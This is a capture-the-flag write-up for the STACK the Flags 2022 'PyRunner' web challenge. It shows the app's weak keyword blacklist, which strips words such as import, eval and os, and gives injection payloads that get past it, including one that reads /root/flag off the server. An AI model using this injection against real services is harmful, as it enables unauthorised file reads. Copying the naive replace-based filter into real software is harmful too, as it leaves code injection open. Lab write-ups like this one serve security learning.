Hacking
Writeups
Web
PyRunner

PyRunner

Description

CTF: STACK the Flags 2022

Can you help us test our internal Python job runner prototype?


web_pyrunner.zip

Solution

Pwned by @skytect (opens in a new tab)

Opening the webpage, we see fields for a template and arguments, hinting at template injection.

Webpage with Template

We appear to be working with some form of Jinja template.

import uvicorn
from fastapi import FastAPI, Request, Response, Form, File
from fastapi.staticfiles import StaticFiles
from fastapi.templating import Jinja2Templates
from fastapi.responses import JSONResponse
 
app = FastAPI()
app.mount("/static", StaticFiles(directory="static"), name="static")
templates = Jinja2Templates(directory="templates")
 
print("Webserver: <title>")
 
@app.get("/")
def index(request: Request):
    return templates.TemplateResponse("index.html", {"request": request})
 
if __name__ == "__main__":
    print("Hello!")
    #uvicorn.run("app:app", host="<host>", port=<port>, reload=True) #TODO: add support for files that don't exit

Since we're given the source code, let's dig through it.

Looking closer, we find a filter mechanism.

# /app/app.py L13
disallowed = ["import", ";", "\n", "eval", "exec", "os"]
 
# /app/app.py L29–33
def textfilter(text):
    for i in disallowed:
        if i in text:
            text = text.replace(i, "")
    return text
 
# /app/app.py L77–80
for argument in template["arguments"]:
    contents = contents.replace(
        f"<{argument}>", textfilter(data["arguments"][argument])
    )

It appears that it just replaces text directly unless it's in the disallowed blacklist.

Let's try to inject something. Using the payload >"+__file__+"<, we can sanity check that this actually works.

Webpage with file injected

Now, let's try to get the flag. I dug around and found the flag's location in the Dockerfile.

# /Dockerfile L5
COPY ./src/flag /root/flag

The blacklist is actually quite easy to circumvent, since we just need to read a file.

I used this payload: >"+open("/root/flag", "r").read()+"<.

Webpage with flag injected

Yay flag!

STF22{4ut0m4t3d_c0mm4nd_1nj3ct10n}